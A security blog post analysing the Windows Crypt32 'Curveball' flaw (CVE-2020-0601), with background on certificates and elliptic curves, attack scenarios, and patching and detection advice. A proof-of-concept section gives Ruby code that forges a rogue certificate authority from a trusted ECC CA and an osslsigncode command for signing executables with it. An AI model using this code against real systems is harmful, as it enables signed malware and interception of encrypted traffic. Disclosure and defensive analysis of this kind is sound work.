SecurityInsider
Le blog des experts sécurité Wavestone

CVE-2020-0601 – A curveball breaking the trust




The latest Windows patch released by Microsoft highlights the fix of an important security breach in a cryptography module of Windows. The goal of this article is to present this vulnerability, named CVE-2020-0601 or "Curveball", and the associated risks.
A proof of concept code exploiting the vulnerability is described at the end of the article.

The pride of trust in today’s information systems

Certificates: extend the trust of one entity to another

Today’s information systems operating is based on trust. Indeed, when someone installs a software on their computer, they cannot be sure they are not installing a malware. The user has no other choices than to trust the software editor in order to use their services.
It is the same when someone is browsing the Internet. The user initiates a connection with a server but cannot be sure if the server which is answering is the one they want to communicate with. The user needs to trust the server’s identity in order to access its resources.
To reduce this trust problem, public-key cryptography is used in order to generate certificates. These certificates are, in a way, a server’s ID. When a user wants to verify the identity of the server they are communicating with, the server sends back its certificate as a proof of identity.
To enforce the trust, certificates are not generated by the server itself but by another independent trusted authority. Moreover, the information contained in the certificate is signed, using public-key encryption and hashing cryptographic algorithms. The certificate hosts the server's (or subject) public-key, while its private key is only known to the server. The to-be-signed certificate is then signed with the authority's private key, which only known by the certificate signer (or issuer). 
This signature prevents modification on the certificate content. Indeed, if someone tries to modify the certificate’s content, the signature provided with the certificate will not match its content – the certificate is then considered null and cannot be used as a valid proof of identity or trusted.
As said, the certificate is issued by an independent entity/company called a "Certification Authority". Thus, to be taken as a valid proof of identity, the certification authority needs to be trusted by the user. For example, if the user trusts a company A, they will also trust all servers presenting a valid certificate issued by this company. Certificates help to reduce the number of trusted companies and services as shown in the following figure:


Trust relations between the user, the certificate issuer, and the entities using certificates


Certificates are used everywhere a proof of identity is required:
  • HTTPS connections use certificate to ensure the server identity:
Simplified version of HTTPS connection initialization

  • Editors sign their software using Authenticode to prove its source:

Proof of editor identity verification failed when a software is installed on Windows

  • Mail systems can use certificates to ensure the sender and receiver identity (using S/MIME)
  • And many other systems...

Short introduction to elliptical curve

Certificates are signed using public-key algorithms such as the well-known RSA algorithm. However, today, RSA is gradually replaced by new algorithms based on elliptical curves.

An elliptical curve is a group of points that all solve a given equation. Elliptical curves can be sorted in different categories depending on the shape of their equation. For example, Weierstrass curves are curves whose points’ coordinates x and y solve the following form of equation:



y= x3 + ax + b,    with a and b two given constants





The parameters a and b define completely the elliptical curve. Once the elliptical curve is chosen, specific algorithms can be used in order to encrypt or sign messages.

To be able to use public-key cryptography features, public and private keys need to be defined. In elliptical curve cryptography, the private key is defined as a random number. The public key is defined as a point on the curve, resulting of the “multiplication” (in a way that is proper to elliptical curves) of the private key with a special point of the elliptical curve, called the generator
If P is the public key, d the private key and Q the chosen generator, then the following equality holds:

P = dQ

This equality is known as the elliptical curve discreet logarithm problem (ECDLP) which imply that even if only P and Q are known, it is computationally impossible to recover the value of d – in other words, if the public key and the generator point are known, it should be impossible to guess the private key.


Use elliptical curve cryptography in software


Today, some certificates are signed using elliptical curve cryptography. There are many ways to implement elliptical curve cryptography. It is possible for companies to create an elliptical curve cryptography module by themselves, but it is strongly discouraged for non-cryptography experts to do so. Indeed, any slight error during the module’s implementation can jeopardize the robustness of the whole cryptography. Instead, it is advised to rely on modules developed and tested by trusted companies, like Microsoft.

Indeed, Microsoft developed an elliptical curve cryptography module available on all Windows system after Windows 8.1 (excluded). This module is available in the Crypt32.dll library and can be used in C programs.

For example, the Chromium project, which is the ground of the actual Google Chrome browser, uses the Crypt32.dll module to perform elliptical curve cryptography operations. This information can be found in the source code of the Chromium project on GitHub (https://cutt.ly/9rce7H6).

Today, many applications rely on Microsoft’s library to perform elliptical curve cryptography operations:




Implementation of elliptical curve cryptography using the Crypt32.dll library


The CVE-2020-0601

Vulnerability explanation

This vulnerability concerns the CertGetCertificateChain function of the Crypt32.dll module and, by extension, it affects all of the applications relying on this module to handle elliptical curves cryptography. 
The publicly available vulnerability report shows that when checking a certificate against its cache of already trusted certificates, Crypt32.dll only compares the public keys and elliptical curves. The generator point however, which is not part of the elliptical curve and can be redefined inside a certificate, is not checked.
When trying to spoof a legitimate certificate that is already trusted by Windows, an attacker can thus choose an arbitrary generator point and private key to create a rogue certificate that uses the same curve and have the same public key. Under these conditions, the checks performed by Crypt32.dll will pass and the rogue certificate will be considered as “already known and trusted”.

Constructing a corresponding rogue certificate, if its generator Q’ is set to the spoofed certificate’s public key P, and its private key d’ is chosen to be equal to 1, then the public key of the rogue-certificate will simply be:

P' = d' . Q' = 1 . P = P

Since both certificates will have the same public key (and use the same elliptical curve), Crypt32.dll will wrongly mistake the rogue certificate for the legitimate one (actually, there are ways to get the same result using a private key d’ different from 1, but this is the simplest technique).
At this moment, the attacker can spoof a certification authority’s certificate, and forge as many sub-certificates as they want. These certificates will be considered valid by Crypt32.dll and can then be used to authenticate a web site identity, digitally sign executables, etc.

Impacted scope

This vulnerability does not target elliptical curve cryptography in itself but only one implementation of the X509 verification mechanism – the one provided by the Crypt32.dll library.
Only Windows systems which are able to handle elliptical curve cryptography are impacted by this vulnerability, so it affects all versions of Windows 10, Windows Server 2016 and Windows Server 2019. Previous Windows versions did not support elliptical curve cryptography.

Exploitation scenario

Man-in-the-middle: breaking TLS

The TLS protocol aims at establishing a secure connection between a client and a server. It relies on cryptography in order to:
  • Generate a common shared secret between the client and the server;
  • Verify certificate in order to prove the server identity (and in some cases the client’s);
  • Encrypt and sign application data exchanged between the client and the server.

The TLS session is established in four steps.
  1. Client and server exchange public keys and information about algorithms they will use during the session establishment;
  2. The server proves its identity with a certificate;
  3. Client and server generate a shared secret, e.g. using the Diffie-Hellman protocol;
  4. Client and server generate an encryption key from the shared secret and the certificates’ public key for symmetrical cryptography algorithm as AES.

The TLS protocol prevents man-in-the-middle attacks with multiples features : certificates, application data encryption and message integrity checks. If an attacker tries to act as a deciphering proxy between the client and the server to decrypt all communications, they will not be able to provide a valid certificate during session establishment, so the client will know they are establishing a connection with the wrong server.
However, if the attacker generates a rogue certificate as explained in the previous part to spoof the server’s certificate and if the client is using the Crypt32.dll library to check the certificate’s validity, the attacker will be able to act as a MiTM proxy in protocol break. The attacker can establish a TLS session with the client and the server separately and is able to decipher all exchanged packets.
As said in the beginning, many pieces of software are using the Crypt32.dll library to handle elliptical curve cryptography; among them are the browsers Google Chrome, Internet Explorer, EDGE and Opera.

Services impacted

It is easy to see that standard features based on the CertGetCertificateChain function are impacted. This list includes features such as:
  • TLS validation in SSL communications in browsers
  • S/MIME signatures in email communications
Alternatively, Office features such as document signature or macro signature are also impacted. Since most enterprise-configured Office installation won't execute macros if not digitally signed, malicious macro will be able to execute if the signature is spoofed. This will in turn ease phishing campaigns.

Is WSUS vulnerable?

In enterprise networks, workstations and server which are enrolled in the Active Directory are often updated using a WSUS server. This server will get updates from Microsoft and distribute them on all computers enrolled in the AD. 
With CVE-2020-0601, it is possible for an attacker to spoof the WSUS server certificate by generating a fake "valid" certificate. This would allow for in-flight modifications between the WSUS server and its clients.
Then, the WSUS client checks the Authenticode of the update in order to avoid installing a rogue. The Authenticode is a Microsoft code-signing technology that allows to identify the publisher of the code as well as ensure that the code was not modified since it had been signed. 
When a user installs a software, the Authenticode is verified, and a warning is displayed if the verification failed. This technology is used to avoid the installation of software coming from un-trusted editor.
Though the verification of the Authenticode is also based on the CertGetCertificateChain function of the Crypt32.dll module, the system will also check that the software-signing certificate has been issued by a key-pinned RSA-signed Certification Authority. This will prevent attackers from maliciously signing Microsoft updates.

Impact in an Active Directory environment

However, there are lots of impacts in the Active Directory environment despite the fact that Microsoft updates cannot be faked.
For example, the following services can be impacted:
  • SSL/TLS communications in AD environment (for example if LDAPS is used)
  • SCCM pushing non-Microsoft signed software on computers
  • Digitally signed Powershell scripts
  • ECC-signed certification authorities in the NtAuth certificate store (which in turn allows for user impersonation)

Proof of concept

The goal of this POC is to sign an executable using a certificate issued by a rogue Certification Authority certificate, generated from a legitimate CA certificate (and trusted by our operating system). This POC is inspired by the POC published on github by OllyPwn (https://github.com/ollypwn/cve-2020-0601).
To work, the legitimate CA certificate needs to use ECDSA signature. For example, the certificate given by the USERTrust ECC Certification Authority can be used, since it is using the NIST P-384 curve.
The first step is to forge a spoofing key for our rogue CA, with the parameter d set to 1 and the generator set to the value of the public key given in the USERTrust CA certificate.

def gen_rogue_key(trusted_ca) # Parse public key from CA ca_key = trusted_ca.public_key if !(ca_key.instance_of? OpenSSL::PKey::EC) then puts "CA NOT ECC" puts "Type: " + key.inspect exit end # Set new group with fake generator G = Q ca_key.private_key = 1 group = ca_key.group group.set_generator(ca_key.public_key, group.order, group.cofactor) group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE ca_key.group = group return ca_key # Then, a new rogue CA certificate is generated using the fake key previously generated. This operation is done using the generate_rogue_ca function. def generate_rogue_ca(trusted_ca_filename, issuer="", subject="") # Create the rogue AC raw = File.read trusted_ca_filename trusted_ca = OpenSSL::X509::Certificate.new(raw) ca_key = gen_rogue_key(trusted_ca) ca_cert = OpenSSL::X509::Certificate.new() ca_cert.version = 2 ca_cert.serial = 1 if issuer != "" then ca_cert.issuer = OpenSSL::X509::Name.parse issuer else ca_cert.issuer = trusted_ca.issuer end if subject != "" then ca_cert.subject = OpenSSL::X509::Name.parse subject else ca_cert.subject = trusted_ca.subject end ca_cert.public_key = ca_key # Set validity timeframe ca_cert.not_before = Time.now ca_cert.not_after = ca_cert.not_before + 2 * 365 * 24 * 60 * 60 # Set certificate extensions ef = OpenSSL::X509::ExtensionFactory.new ef.subject_certificate = trusted_ca ef.issuer_certificate = trusted_ca # CA extension ca_cert.add_extension(ef.create_extension("basicConstraints","CA:TRUE",true)) # Key used to sign certificates ca_cert.add_extension(ef.create_extension("keyUsage","keyCertSign, cRLSign", true)) ca_cert.add_extension(ef.create_extension("authorityKeyIdentifier","keyid:always",false)) ca_cert.add_extension(ef.create_extension("subjectKeyIdentifier","hash",false)) ca_cert.sign(ca_cert.public_key, OpenSSL::Digest::SHA256.new) return ca_cert # Create a fake CA csr = generate_csr(ca, subject) cert = sign_csr(csr, ca) pkcs12 = gen_pkcs12(cert, ca) open pkcs12_filename, 'w' do |io| io.write pkcs12.to_der end

Now that the rogue certificate is generated, it is possible to sign an PE file. On UNIX system, the tool osslsigncode can be used.
osslsigncode sign -pkcs12 ./cert.p12 -t http://timestamp.verisign.com/scripts/timstamp.dll -in file.exe -out file_signed.exe

It is then possible to verify the Authenticode signature on Windows system. If the executable is signed by un untrusted entity the sigcheck tool of Windows return the following value.
However, when the file is signed with the rogue certificate, the same tool returns the following value.
Thus, the signature is verified and accepted by Microsoft even if the used certificate used is not a legitimate certificate.

What to do now?

Patching

It is of the utmost importance to patch the affected systems (Windows 10 and Windows Server 2016/2019) to provide a system-wide fix to the vulnerability. The TechNet article from Microsoft can be used to download single upgrades, but it is recommended that the update is synced in your WSUS and deployed large-scale.

Exploit detection

There are multiple levels at which exploit detection can occur. These levels are directly related to the different attacks leveraged by Curveball. 

File level

At the file level, Curveball allows targeting the Authenticode mechanism to spoof an executable signature or miscellanous other signature mechanisms such as Office or PowerShell.
As the certificate needs to be provided with the signature (so that it can be verified), there are static means of detecting an exploit attempt by extracting the certificate and checking for malicious public-key parameters (non-standard generator). Windows Defender (in its latest version) and some antivirus software are already implementing this to help detect malicious executables.

Network level

In theory, network appliances, such as proxies or Intrusion Detection/Prevention Systems (IDS/IPS)  could implement rules that would parse the certificates present in SSL streams to raise alerts when Curveball certificates are found. Since the server certificate is presented by the server during the SSSL/TLS handshake, there is no need for SSL decryption at the appliance level.

System-wide detection

In theory, one could implement detection mechanisms at the CertGetCertificateChain level, by proxying all calls performed by processes on the system to that specific function. Endpoint Detection Response (EDR) are already performing such types of checks to prevent malicious processes from accessing the lsass.exe process memory for example. Rules could be added to inspect the parameters passed to the CertGetCertificateChain that would check all of the certificates in the chains for a maliciously crafted one and return a validation error.

Investigation

Currently, the only investigation means available are by checking on Windows Defender / antivirus alerts for malicious executable. At the system level, it is not possible to retroactively investigate before the time when security software was updated to detect Curveball certificates.

On the network, it could be possible to investigate if certificate chain caching or logging was performed on the proxy / IDS / IPS appliance, but it does not seem to be a feature offered by current vendors. However, one could correlate advanced Passive SSL services (that would need to be able to detect Curveball) with proxy logs to raise alerts for its users.


What to do? How can I do it (if possible)?
Protection
  • Patching systems and security software as soon as possible
  • Detection
  • Using security software (Windows Defender, antivirus)
  • Implementing rules in IDS/IPS/Proxy that support certificate parsing
  • Implementing advanced rules in EDR software to monitor calls to CertGetCertificateChain
  • Forensics
  • Investigating in security software logs – not possible before updates

  • Conclusion

    To conclude, trust is an important notion in information systems. Trust is often insured by independent entities which provide certificates to servers in order to prove their identity. These certificates compile information about the server and cannot be modified excepted by the entity providing it.
    The CVE-2020-0601 is a vulnerability which affect the certificate verification function in the Crypt32.dll module provided by Microsoft. Because of this vulnerability, every application or service relying on Windows’ API to handle certificates can be affected by this vulnerability. Among others, most of Web browsers on Windows (using the SSL/TLS protocol), Windows code signing mechanism (Authenticode) or the Windows Update service are directly threatened by this vulnerability.
    However, because this vulnerability only affects certificates whose signature was generated with elliptical curve cryptography, Windows versions strictly older than Windows 10 are not at risk.


    Aucun commentaire:

    Enregistrer un commentaire